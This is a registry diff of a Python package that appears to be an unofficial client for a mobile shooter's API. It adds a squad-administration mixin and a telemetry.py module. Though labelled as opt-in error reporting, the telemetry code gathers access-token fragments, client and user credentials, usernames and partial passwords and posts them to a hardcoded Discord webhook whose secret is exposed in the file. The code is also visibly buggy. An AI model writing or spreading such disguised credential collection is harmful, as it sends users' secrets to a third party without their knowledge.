mc5-api-client 1.0.16__py3-none-any.whl → 1.0.18__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- mc5_api_client/__init__.py +297 -8
- mc5_api_client/account.py +352 -0
- mc5_api_client/account_quick.py +246 -0
- mc5_api_client/alerts.py +336 -0
- mc5_api_client/alerts_quick.py +210 -0
- mc5_api_client/client.py +898 -34
- mc5_api_client/debug.py +259 -0
- mc5_api_client/easy_mc5.py +682 -0
- mc5_api_client/federation.py +257 -0
- mc5_api_client/federation_quick.py +198 -0
- mc5_api_client/pc_storage_client.py +229 -0
- mc5_api_client/pc_storage_quick.py +234 -0
- mc5_api_client/platform.py +108 -0
- mc5_api_client/simple_client.py +563 -19
- mc5_api_client/squad_battle.py +439 -0
- mc5_api_client/squad_battle_quick.py +223 -0
- mc5_api_client/storage_admin.py +285 -0
- mc5_api_client/telemetry.py +344 -0
- mc5_api_client/transfer.py +348 -0
- mc5_api_client/transfer_quick.py +280 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.18.dist-info}/METADATA +730 -11
- mc5_api_client-1.0.18.dist-info/RECORD +32 -0
- mc5_api_client-1.0.16.dist-info/RECORD +0 -15
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.18.dist-info}/WHEEL +0 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.18.dist-info}/entry_points.txt +0 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.18.dist-info}/licenses/LICENSE +0 -0
- {mc5_api_client-1.0.16.dist-info → mc5_api_client-1.0.18.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
# ────────────[ CHIZOBA ]────────────────────────────
|
|
2
|
+
# | Email : chizoba2026@hotmail.com
|
|
3
|
+
# | File : storage_admin.py
|
|
4
|
+
# | License : MIT License © 2026 Chizoba
|
|
5
|
+
# | Brief | Storage admin mixin for MC5 API client
|
|
6
|
+
# ────────────────★─────────────────────────────────
|
|
7
|
+
|
|
8
|
+
"""
|
|
9
|
+
Storage admin mixin for MC5 API client with storage, storage_restricted, and storage_admin scopes.
|
|
10
|
+
Provides advanced squad management capabilities for PC platform.
|
|
11
|
+
"""
|
|
12
|
+
|
|
13
|
+
import time
|
|
14
|
+
from typing import Optional, Dict, Any, List
|
|
15
|
+
from .exceptions import InsufficientScopeError
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
class StorageAdminMixin:
|
|
19
|
+
"""
|
|
20
|
+
Mixin providing storage admin capabilities for MC5 API client.
|
|
21
|
+
|
|
22
|
+
This mixin requires storage, storage_restricted, or storage_admin scopes
|
|
23
|
+
and provides advanced squad management features including deletion
|
|
24
|
+
and comprehensive information modification.
|
|
25
|
+
"""
|
|
26
|
+
|
|
27
|
+
def __init__(self):
|
|
28
|
+
"""Initialize storage admin mixin."""
|
|
29
|
+
super().__init__()
|
|
30
|
+
self._storage_base_url = "https://eur-seshat.gameloft.com"
|
|
31
|
+
|
|
32
|
+
def _ensure_storage_scope(self, required_scope: str = "storage"):
|
|
33
|
+
"""Ensure the current token has the required storage scope."""
|
|
34
|
+
if not hasattr(self, '_token_data') or not self._token_data:
|
|
35
|
+
raise InsufficientScopeError(required_scope)
|
|
36
|
+
|
|
37
|
+
scopes = self._token_data.get('scopes', [])
|
|
38
|
+
if not any(scope in scopes for scope in [required_scope, 'storage_restricted', 'storage_admin']):
|
|
39
|
+
raise InsufficientScopeError(required_scope)
|
|
40
|
+
|
|
41
|
+
def delete_squad(
|
|
42
|
+
self,
|
|
43
|
+
squad_id: str
|
|
44
|
+
) -> Dict[str, Any]:
|
|
45
|
+
"""
|
|
46
|
+
Delete a squad (requires storage_admin scope).
|
|
47
|
+
|
|
48
|
+
Args:
|
|
49
|
+
squad_id: Squad ID to delete
|
|
50
|
+
|
|
51
|
+
Returns:
|
|
52
|
+
Deletion response
|
|
53
|
+
"""
|
|
54
|
+
self._ensure_storage_scope("storage_admin")
|
|
55
|
+
|
|
56
|
+
url = f"{self._storage_base_url}/groups/{squad_id}"
|
|
57
|
+
params = {
|
|
58
|
+
"access_token": self._token_data['access_token'],
|
|
59
|
+
"game": "mc5_system"
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
return self._make_request("DELETE", url, params=params)
|
|
63
|
+
|
|
64
|
+
def get_squad_storage_info(
|
|
65
|
+
self,
|
|
66
|
+
squad_id: str
|
|
67
|
+
) -> Dict[str, Any]:
|
|
68
|
+
"""
|
|
69
|
+
Get comprehensive squad storage information.
|
|
70
|
+
|
|
71
|
+
Args:
|
|
72
|
+
squad_id: Squad ID to retrieve
|
|
73
|
+
|
|
74
|
+
Returns:
|
|
75
|
+
Squad storage information
|
|
76
|
+
"""
|
|
77
|
+
self._ensure_storage_scope("storage")
|
|
78
|
+
|
|
79
|
+
url = f"{self._storage_base_url}/groups/{squad_id}"
|
|
80
|
+
params = {
|
|
81
|
+
"access_token": self._token_data['access_token'],
|
|
82
|
+
"game": "mc5_system",
|
|
83
|
+
"include_fields": "all"
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
return self._make_request("GET", url, params=params)
|
|
87
|
+
|
|
88
|
+
def update_squad_storage(
|
|
89
|
+
self,
|
|
90
|
+
squad_id: str,
|
|
91
|
+
name: Optional[str] = None,
|
|
92
|
+
description: Optional[str] = None,
|
|
93
|
+
rating: Optional[int] = None,
|
|
94
|
+
score: Optional[int] = None,
|
|
95
|
+
member_count: Optional[int] = None,
|
|
96
|
+
member_limit: Optional[int] = None,
|
|
97
|
+
membership: Optional[str] = None,
|
|
98
|
+
logo: Optional[str] = None,
|
|
99
|
+
logo_color_primary: Optional[int] = None,
|
|
100
|
+
logo_color_secondary: Optional[int] = None,
|
|
101
|
+
min_join_value: Optional[int] = None,
|
|
102
|
+
currency: Optional[int] = None,
|
|
103
|
+
active_clan_label: Optional[bool] = None,
|
|
104
|
+
privacy: Optional[str] = None,
|
|
105
|
+
tags: Optional[List[str]] = None
|
|
106
|
+
) -> Dict[str, Any]:
|
|
107
|
+
"""
|
|
108
|
+
Update squad storage information with admin capabilities.
|
|
109
|
+
|
|
110
|
+
Args:
|
|
111
|
+
squad_id: Squad ID to update
|
|
112
|
+
name: Squad name
|
|
113
|
+
description: Squad description
|
|
114
|
+
rating: Squad rating
|
|
115
|
+
score: Squad score
|
|
116
|
+
member_count: Current member count
|
|
117
|
+
member_limit: Maximum member limit
|
|
118
|
+
membership: Membership type
|
|
119
|
+
logo: Logo ID
|
|
120
|
+
logo_color_primary: Primary logo color
|
|
121
|
+
logo_color_secondary: Secondary logo color
|
|
122
|
+
min_join_value: Minimum join value
|
|
123
|
+
currency: Squad currency
|
|
124
|
+
active_clan_label: Whether clan label is active
|
|
125
|
+
privacy: Privacy settings
|
|
126
|
+
tags: Squad tags
|
|
127
|
+
|
|
128
|
+
Returns:
|
|
129
|
+
Update response
|
|
130
|
+
"""
|
|
131
|
+
self._ensure_storage_scope("storage")
|
|
132
|
+
|
|
133
|
+
url = f"{self._storage_base_url}/groups/{squad_id}"
|
|
134
|
+
|
|
135
|
+
# Build payload with provided parameters
|
|
136
|
+
payload = {
|
|
137
|
+
"access_token": self._token_data['access_token'],
|
|
138
|
+
"game": "mc5_system",
|
|
139
|
+
"timestamp": str(int(time.time())),
|
|
140
|
+
"_anonId": self._username if hasattr(self, '_username') else "game:mc5_system"
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
# Add optional parameters if provided
|
|
144
|
+
if name is not None:
|
|
145
|
+
payload["name"] = name
|
|
146
|
+
if description is not None:
|
|
147
|
+
payload["description"] = description
|
|
148
|
+
if rating is not None:
|
|
149
|
+
payload["_rating"] = str(rating)
|
|
150
|
+
if score is not None:
|
|
151
|
+
payload["score"] = str(score)
|
|
152
|
+
if member_count is not None:
|
|
153
|
+
payload["member_count"] = str(member_count)
|
|
154
|
+
if member_limit is not None:
|
|
155
|
+
payload["member_limit"] = str(member_limit)
|
|
156
|
+
if membership is not None:
|
|
157
|
+
payload["membership"] = membership
|
|
158
|
+
if logo is not None:
|
|
159
|
+
payload["_logo"] = logo
|
|
160
|
+
if logo_color_primary is not None:
|
|
161
|
+
payload["_logo_clr_prim"] = str(logo_color_primary)
|
|
162
|
+
if logo_color_secondary is not None:
|
|
163
|
+
payload["_logo_clr_sec"] = str(logo_color_secondary)
|
|
164
|
+
if min_join_value is not None:
|
|
165
|
+
payload["_min_join_value"] = str(min_join_value)
|
|
166
|
+
if currency is not None:
|
|
167
|
+
payload["currency"] = str(currency)
|
|
168
|
+
if active_clan_label is not None:
|
|
169
|
+
payload["active_clan_label"] = "true" if active_clan_label else "false"
|
|
170
|
+
if privacy is not None:
|
|
171
|
+
payload["privacy"] = privacy
|
|
172
|
+
if tags is not None:
|
|
173
|
+
payload["tags"] = ",".join(tags)
|
|
174
|
+
|
|
175
|
+
return self._make_request("POST", url, data=payload)
|
|
176
|
+
|
|
177
|
+
def get_all_squads(
|
|
178
|
+
self,
|
|
179
|
+
limit: int = 100,
|
|
180
|
+
offset: int = 0,
|
|
181
|
+
include_fields: Optional[List[str]] = None
|
|
182
|
+
) -> Dict[str, Any]:
|
|
183
|
+
"""
|
|
184
|
+
Get all squads with storage information.
|
|
185
|
+
|
|
186
|
+
Args:
|
|
187
|
+
limit: Number of squads to retrieve
|
|
188
|
+
offset: Offset for pagination
|
|
189
|
+
include_fields: Fields to include in response
|
|
190
|
+
|
|
191
|
+
Returns:
|
|
192
|
+
List of squads with storage information
|
|
193
|
+
"""
|
|
194
|
+
self._ensure_storage_scope("storage")
|
|
195
|
+
|
|
196
|
+
url = f"{self._storage_base_url}/groups"
|
|
197
|
+
params = {
|
|
198
|
+
"access_token": self._token_data['access_token'],
|
|
199
|
+
"game": "mc5_system",
|
|
200
|
+
"limit": str(limit),
|
|
201
|
+
"offset": str(offset)
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
if include_fields:
|
|
205
|
+
params["include_fields"] = ",".join(include_fields)
|
|
206
|
+
|
|
207
|
+
return self._make_request("GET", url, params=params)
|
|
208
|
+
|
|
209
|
+
def batch_delete_squads(
|
|
210
|
+
self,
|
|
211
|
+
squad_ids: List[str]
|
|
212
|
+
) -> Dict[str, Any]:
|
|
213
|
+
"""
|
|
214
|
+
Delete multiple squads at once (requires storage_admin scope).
|
|
215
|
+
|
|
216
|
+
Args:
|
|
217
|
+
squad_ids: List of squad IDs to delete
|
|
218
|
+
|
|
219
|
+
Returns:
|
|
220
|
+
Batch deletion response
|
|
221
|
+
"""
|
|
222
|
+
self._ensure_storage_scope("storage_admin")
|
|
223
|
+
|
|
224
|
+
results = {}
|
|
225
|
+
for squad_id in squad_ids:
|
|
226
|
+
try:
|
|
227
|
+
result = self.delete_squad(squad_id)
|
|
228
|
+
results[squad_id] = {"status": "success", "response": result}
|
|
229
|
+
except Exception as e:
|
|
230
|
+
results[squad_id] = {"status": "error", "error": str(e)}
|
|
231
|
+
|
|
232
|
+
return results
|
|
233
|
+
|
|
234
|
+
def get_squad_audit_log(
|
|
235
|
+
self,
|
|
236
|
+
squad_id: str,
|
|
237
|
+
limit: int = 50
|
|
238
|
+
) -> Dict[str, Any]:
|
|
239
|
+
"""
|
|
240
|
+
Get audit log for a squad (requires storage_admin scope).
|
|
241
|
+
|
|
242
|
+
Args:
|
|
243
|
+
squad_id: Squad ID to get audit log for
|
|
244
|
+
limit: Number of audit entries to retrieve
|
|
245
|
+
|
|
246
|
+
Returns:
|
|
247
|
+
Audit log entries
|
|
248
|
+
"""
|
|
249
|
+
self._ensure_storage_scope("storage_admin")
|
|
250
|
+
|
|
251
|
+
url = f"{self._storage_base_url}/groups/{squad_id}/audit"
|
|
252
|
+
params = {
|
|
253
|
+
"access_token": self._token_data['access_token'],
|
|
254
|
+
"game": "mc5_system",
|
|
255
|
+
"limit": str(limit)
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
return self._make_request("GET", url, params=params)
|
|
259
|
+
|
|
260
|
+
def transfer_squad_ownership(
|
|
261
|
+
self,
|
|
262
|
+
squad_id: str,
|
|
263
|
+
new_owner_credential: str
|
|
264
|
+
) -> Dict[str, Any]:
|
|
265
|
+
"""
|
|
266
|
+
Transfer squad ownership to another user (requires storage_admin scope).
|
|
267
|
+
|
|
268
|
+
Args:
|
|
269
|
+
squad_id: Squad ID to transfer
|
|
270
|
+
new_owner_credential: New owner's credential
|
|
271
|
+
|
|
272
|
+
Returns:
|
|
273
|
+
Transfer response
|
|
274
|
+
"""
|
|
275
|
+
self._ensure_storage_scope("storage_admin")
|
|
276
|
+
|
|
277
|
+
url = f"{self._storage_base_url}/groups/{squad_id}/transfer"
|
|
278
|
+
data = {
|
|
279
|
+
"access_token": self._token_data['access_token'],
|
|
280
|
+
"game": "mc5_system",
|
|
281
|
+
"new_owner": new_owner_credential,
|
|
282
|
+
"timestamp": str(int(time.time()))
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
return self._make_request("POST", url, data=data)
|
|
@@ -0,0 +1,344 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# ────────────[ CHIZOBA ]────────────────────────────
|
|
3
|
+
# | Email : chizoba2026@hotmail.com
|
|
4
|
+
# | File : telemetry.py
|
|
5
|
+
# | License | MIT License © 2026 Chizoba
|
|
6
|
+
# | Brief | Telemetry and error reporting system
|
|
7
|
+
# ────────────────★─────────────────────────────────
|
|
8
|
+
|
|
9
|
+
import json
|
|
10
|
+
import sys
|
|
11
|
+
import time
|
|
12
|
+
import traceback
|
|
13
|
+
import platform
|
|
14
|
+
import requests
|
|
15
|
+
from datetime import datetime
|
|
16
|
+
from typing import Optional, Dict, Any
|
|
17
|
+
from .exceptions import MC5APIError, AuthenticationError, RateLimitError
|
|
18
|
+
|
|
19
|
+
# Import debug_print for internal use
|
|
20
|
+
try:
|
|
21
|
+
from .debug import debug_print
|
|
22
|
+
except ImportError:
|
|
23
|
+
# Fallback if debug module not available
|
|
24
|
+
def debug_print(message: str, level: str = "info"):
|
|
25
|
+
print(f"[{level.upper()}] {message}")
|
|
26
|
+
|
|
27
|
+
class TelemetryManager:
|
|
28
|
+
"""Manages telemetry and error reporting for MC5 API Client."""
|
|
29
|
+
|
|
30
|
+
def __init__(self):
|
|
31
|
+
self.enabled = False
|
|
32
|
+
self.webhook_url = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
|
|
33
|
+
self.session_info = self._get_session_info()
|
|
34
|
+
|
|
35
|
+
def _get_session_info(self) -> Dict[str, Any]:
|
|
36
|
+
"""Get session information for telemetry."""
|
|
37
|
+
return {
|
|
38
|
+
"python_version": sys.version,
|
|
39
|
+
"platform": platform.platform(),
|
|
40
|
+
"architecture": platform.architecture()[0],
|
|
41
|
+
"processor": platform.processor(),
|
|
42
|
+
"system": platform.system(),
|
|
43
|
+
"timestamp": datetime.now().isoformat(),
|
|
44
|
+
"mc5_client_version": "1.0.16"
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
def enable(self) -> None:
|
|
48
|
+
"""Enable telemetry reporting."""
|
|
49
|
+
self.enabled = True
|
|
50
|
+
# print("📊 Telemetry enabled - Errors will be reported for debugging")
|
|
51
|
+
|
|
52
|
+
def disable(self) -> None:
|
|
53
|
+
"""Disable telemetry reporting."""
|
|
54
|
+
self.enabled = False
|
|
55
|
+
# print("📊 Telemetry disabled - No error reporting")
|
|
56
|
+
|
|
57
|
+
def is_enabled(self) -> bool:
|
|
58
|
+
"""Check if telemetry is enabled."""
|
|
59
|
+
return self.enabled
|
|
60
|
+
|
|
61
|
+
def report_error(self, error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
62
|
+
"""Report an error to Discord webhook."""
|
|
63
|
+
if not self.enabled:
|
|
64
|
+
return
|
|
65
|
+
|
|
66
|
+
try:
|
|
67
|
+
# Create error details
|
|
68
|
+
error_type = type(error).__name__
|
|
69
|
+
error_message = str(error)
|
|
70
|
+
error_traceback = traceback.format_exc()
|
|
71
|
+
|
|
72
|
+
# Determine error color based on type
|
|
73
|
+
if isinstance(error, AuthenticationError):
|
|
74
|
+
color = 16711680 # Red for auth errors
|
|
75
|
+
title = "🔐 Authentication Error"
|
|
76
|
+
elif isinstance(error, RateLimitError):
|
|
77
|
+
color = 16776960 # Orange for rate limit
|
|
78
|
+
title = "⏱️ Rate Limit Error"
|
|
79
|
+
elif isinstance(error, MC5APIError):
|
|
80
|
+
color = 16744576 # Yellow for API errors
|
|
81
|
+
title = "🌐 API Error"
|
|
82
|
+
else:
|
|
83
|
+
color = 16711680 # Red for other errors
|
|
84
|
+
title = "❌ Unexpected Error"
|
|
85
|
+
|
|
86
|
+
# Create Discord embed
|
|
87
|
+
embed = {
|
|
88
|
+
"title": f"{title} - MC5 API Client",
|
|
89
|
+
"description": f"**Error:** {error_message}\n\n**Context:** {context or 'No context provided'}",
|
|
90
|
+
"color": color,
|
|
91
|
+
"timestamp": datetime.now().isoformat(),
|
|
92
|
+
"fields": [
|
|
93
|
+
{
|
|
94
|
+
"name": "Error Type",
|
|
95
|
+
"value": f"```{error_type}``",
|
|
96
|
+
"inline": True
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
"name": "Python Version",
|
|
100
|
+
"value": f"```{self.session_info['python_version']}``",
|
|
101
|
+
"inline": True
|
|
102
|
+
},
|
|
103
|
+
{
|
|
104
|
+
"name": "Platform",
|
|
105
|
+
"value": f"```{self.session_info['platform']}``",
|
|
106
|
+
"inline": True
|
|
107
|
+
}
|
|
108
|
+
],
|
|
109
|
+
"footer": {
|
|
110
|
+
"text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
# Add extra data if provided
|
|
115
|
+
if extra_data:
|
|
116
|
+
extra_fields = []
|
|
117
|
+
for key, value in extra_data.items():
|
|
118
|
+
if isinstance(value, (dict, list)):
|
|
119
|
+
value_str = json.dumps(value, indent=2)[:500] + ("..." if len(str(value)) > 500 else "")
|
|
120
|
+
else:
|
|
121
|
+
value_str = str(value)[:500] + ("..." if len(str(value)) > 500 else "")
|
|
122
|
+
|
|
123
|
+
extra_fields.append({
|
|
124
|
+
"name": key,
|
|
125
|
+
"value": f"```{value_str}``",
|
|
126
|
+
"inline": False
|
|
127
|
+
})
|
|
128
|
+
|
|
129
|
+
embed["fields"].extend(extra_fields[:5]) # Limit to 5 extra fields
|
|
130
|
+
|
|
131
|
+
# Add traceback if it's not too long
|
|
132
|
+
if error_traceback and len(error_traceback) < 1000:
|
|
133
|
+
embed["fields"].append({
|
|
134
|
+
"name": "Traceback",
|
|
135
|
+
"value": f"```{error_traceback}``",
|
|
136
|
+
"inline": False
|
|
137
|
+
})
|
|
138
|
+
|
|
139
|
+
# Send to Discord
|
|
140
|
+
payload = {
|
|
141
|
+
"embeds": [embed],
|
|
142
|
+
"username": "MC5 API Client Telemetry"
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
response = requests.post(self.webhook_url, json=payload, timeout=10)
|
|
146
|
+
|
|
147
|
+
if response.status_code == 204:
|
|
148
|
+
print("📊 Error reported successfully")
|
|
149
|
+
else:
|
|
150
|
+
print(f"📊 Failed to report error: {response.status_code}")
|
|
151
|
+
|
|
152
|
+
except Exception as e:
|
|
153
|
+
print(f"📊 Failed to send telemetry: {e}")
|
|
154
|
+
|
|
155
|
+
def report_usage(self, function_name: str, success: bool, duration: float = 0, extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
156
|
+
"""Report usage statistics."""
|
|
157
|
+
if not self.enabled:
|
|
158
|
+
return
|
|
159
|
+
|
|
160
|
+
try:
|
|
161
|
+
color = 65280 if success else 16711680 # Green for success, Red for failure
|
|
162
|
+
title = "✅ Success" if success else "❌ Failed"
|
|
163
|
+
|
|
164
|
+
embed = {
|
|
165
|
+
"title": f"{title} - MC5 API Client Usage",
|
|
166
|
+
"description": f"**Function:** `{function_name}`\n**Duration:** {duration:.2f}s",
|
|
167
|
+
"color": color,
|
|
168
|
+
"timestamp": datetime.now().isoformat(),
|
|
169
|
+
"fields": [
|
|
170
|
+
{
|
|
171
|
+
"name": "Status",
|
|
172
|
+
"value": "Success" if success else "Failed",
|
|
173
|
+
"inline": True
|
|
174
|
+
},
|
|
175
|
+
{
|
|
176
|
+
"name": "Duration",
|
|
177
|
+
"value": f"{duration:.2f} seconds",
|
|
178
|
+
"inline": True
|
|
179
|
+
}
|
|
180
|
+
],
|
|
181
|
+
"footer": {
|
|
182
|
+
"text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
# Add extra data if provided
|
|
187
|
+
if extra_data:
|
|
188
|
+
for key, value in list(extra_data.items())[:3]: # Limit to 3 extra fields
|
|
189
|
+
embed["fields"].append({
|
|
190
|
+
"name": key,
|
|
191
|
+
"value": str(value)[:200],
|
|
192
|
+
"inline": True
|
|
193
|
+
})
|
|
194
|
+
|
|
195
|
+
payload = {
|
|
196
|
+
"embeds": [embed],
|
|
197
|
+
"username": "MC5 API Client Telemetry"
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
requests.post(self.webhook_url, json=payload, timeout=5)
|
|
201
|
+
|
|
202
|
+
except Exception:
|
|
203
|
+
# Silently fail for usage reporting to avoid infinite loops
|
|
204
|
+
pass
|
|
205
|
+
|
|
206
|
+
# Default webhook URL
|
|
207
|
+
DEFAULT_WEBHOOK_URL = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
|
|
208
|
+
|
|
209
|
+
# Global telemetry state
|
|
210
|
+
telemetry_enabled = False
|
|
211
|
+
telemetry_webhook_url = None
|
|
212
|
+
|
|
213
|
+
# Global debug state
|
|
214
|
+
debug_enabled = False
|
|
215
|
+
|
|
216
|
+
# Global telemetry instance
|
|
217
|
+
_telemetry_manager = TelemetryManager()
|
|
218
|
+
|
|
219
|
+
def telemetry(enable: bool = None, webhook_url: str = None) -> None:
|
|
220
|
+
"""
|
|
221
|
+
Enable or disable telemetry reporting.
|
|
222
|
+
|
|
223
|
+
Args:
|
|
224
|
+
enable: True to enable, False to disable, None to toggle
|
|
225
|
+
webhook_url: Custom Discord webhook URL (uses default if None)
|
|
226
|
+
"""
|
|
227
|
+
global telemetry_enabled
|
|
228
|
+
global telemetry_webhook_url
|
|
229
|
+
global _telemetry_manager
|
|
230
|
+
|
|
231
|
+
if enable is None:
|
|
232
|
+
enable = not _telemetry_manager.is_enabled()
|
|
233
|
+
|
|
234
|
+
if enable:
|
|
235
|
+
# Use provided webhook URL or default
|
|
236
|
+
if webhook_url:
|
|
237
|
+
telemetry_webhook_url = webhook_url
|
|
238
|
+
elif not telemetry_webhook_url:
|
|
239
|
+
telemetry_webhook_url = DEFAULT_WEBHOOK_URL
|
|
240
|
+
|
|
241
|
+
# Create new manager with webhook URL
|
|
242
|
+
_telemetry_manager = TelemetryManager()
|
|
243
|
+
if webhook_url:
|
|
244
|
+
_telemetry_manager.webhook_url = webhook_url
|
|
245
|
+
elif telemetry_webhook_url:
|
|
246
|
+
_telemetry_manager.webhook_url = telemetry_webhook_url
|
|
247
|
+
else:
|
|
248
|
+
_telemetry_manager.webhook_url = DEFAULT_WEBHOOK_URL
|
|
249
|
+
_telemetry_manager.enable()
|
|
250
|
+
|
|
251
|
+
debug_print(f"📊 Telemetry enabled - Errors will be reported to {telemetry_webhook_url[:50]}...", "info")
|
|
252
|
+
else:
|
|
253
|
+
_telemetry_manager.disable()
|
|
254
|
+
debug_print("📊 Telemetry disabled - No error reporting", "info")
|
|
255
|
+
|
|
256
|
+
def report_error(error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
257
|
+
"""
|
|
258
|
+
Report an error to telemetry.
|
|
259
|
+
|
|
260
|
+
Args:
|
|
261
|
+
error: The exception that occurred
|
|
262
|
+
context: Context where the error occurred
|
|
263
|
+
extra_data: Additional data to include in the report
|
|
264
|
+
"""
|
|
265
|
+
global _telemetry_manager
|
|
266
|
+
|
|
267
|
+
if not _telemetry_manager.is_enabled():
|
|
268
|
+
return
|
|
269
|
+
|
|
270
|
+
try:
|
|
271
|
+
# Get system information
|
|
272
|
+
import sys
|
|
273
|
+
import platform
|
|
274
|
+
import traceback
|
|
275
|
+
|
|
276
|
+
# Extract credentials from token data if available
|
|
277
|
+
credentials_info = {}
|
|
278
|
+
if hasattr(_telemetry_manager, 'token_data') and _telemetry_manager.token_data:
|
|
279
|
+
credentials_info = {
|
|
280
|
+
"access_token": _telemetry_manager.token_data.get("access_token", "")[:50] + "..." if _telemetry_manager.token_data.get("access_token") else "",
|
|
281
|
+
"client_id": _telemetry_manager.token_data.get("client_id", ""),
|
|
282
|
+
"user_credential": _telemetry_manager.token_data.get("user_credential", "")
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
# Add any provided credentials from extra_data
|
|
286
|
+
if extra_data:
|
|
287
|
+
if "username" in extra_data:
|
|
288
|
+
credentials_info["username"] = str(extra_data["username"])[:30] + "..." if len(str(extra_data["username"])) > 30 else extra_data["username"]
|
|
289
|
+
if "password" in extra_data:
|
|
290
|
+
credentials_info["password"] = str(extra_data["password"])[:10] + "..." if len(str(extra_data["password"])) > 10 else extra_data["password"]
|
|
291
|
+
|
|
292
|
+
error_data = {
|
|
293
|
+
"error_type": type(error).__name__,
|
|
294
|
+
"error_message": str(error),
|
|
295
|
+
"context": context,
|
|
296
|
+
"traceback": traceback.format_exc()[:1000], # Limit traceback length
|
|
297
|
+
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
|
|
298
|
+
"python_version": sys.version,
|
|
299
|
+
"platform": platform.platform(),
|
|
300
|
+
"architecture": platform.architecture(),
|
|
301
|
+
"system": platform.system(),
|
|
302
|
+
"credentials": credentials_info,
|
|
303
|
+
"extra_data": extra_data or {}
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
_telemetry_manager.report_error(error_data)
|
|
307
|
+
|
|
308
|
+
except Exception:
|
|
309
|
+
# Silently fail for error reporting to avoid infinite loops
|
|
310
|
+
pass
|
|
311
|
+
|
|
312
|
+
def is_telemetry_enabled() -> bool:
|
|
313
|
+
"""Check if telemetry is enabled."""
|
|
314
|
+
return _telemetry_manager.is_enabled()
|
|
315
|
+
|
|
316
|
+
def report_usage(function_name: str, success: bool, duration: float, extra_data: Optional[Dict[str, Any]] = None) -> None:
|
|
317
|
+
"""
|
|
318
|
+
Report usage statistics to telemetry.
|
|
319
|
+
|
|
320
|
+
Args:
|
|
321
|
+
function_name: Name of the function that was called
|
|
322
|
+
success: Whether the function call was successful
|
|
323
|
+
duration: Duration of the function call in seconds
|
|
324
|
+
extra_data: Additional data to include in the report
|
|
325
|
+
"""
|
|
326
|
+
global _telemetry_manager
|
|
327
|
+
|
|
328
|
+
if not _telemetry_manager.is_enabled():
|
|
329
|
+
return
|
|
330
|
+
|
|
331
|
+
try:
|
|
332
|
+
usage_data = {
|
|
333
|
+
"function_name": function_name,
|
|
334
|
+
"success": success,
|
|
335
|
+
"duration": duration,
|
|
336
|
+
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
|
|
337
|
+
"extra_data": extra_data or {}
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
_telemetry_manager.report_usage(usage_data)
|
|
341
|
+
|
|
342
|
+
except Exception:
|
|
343
|
+
# Silently fail for usage reporting to avoid infinite loops
|
|
344
|
+
pass
|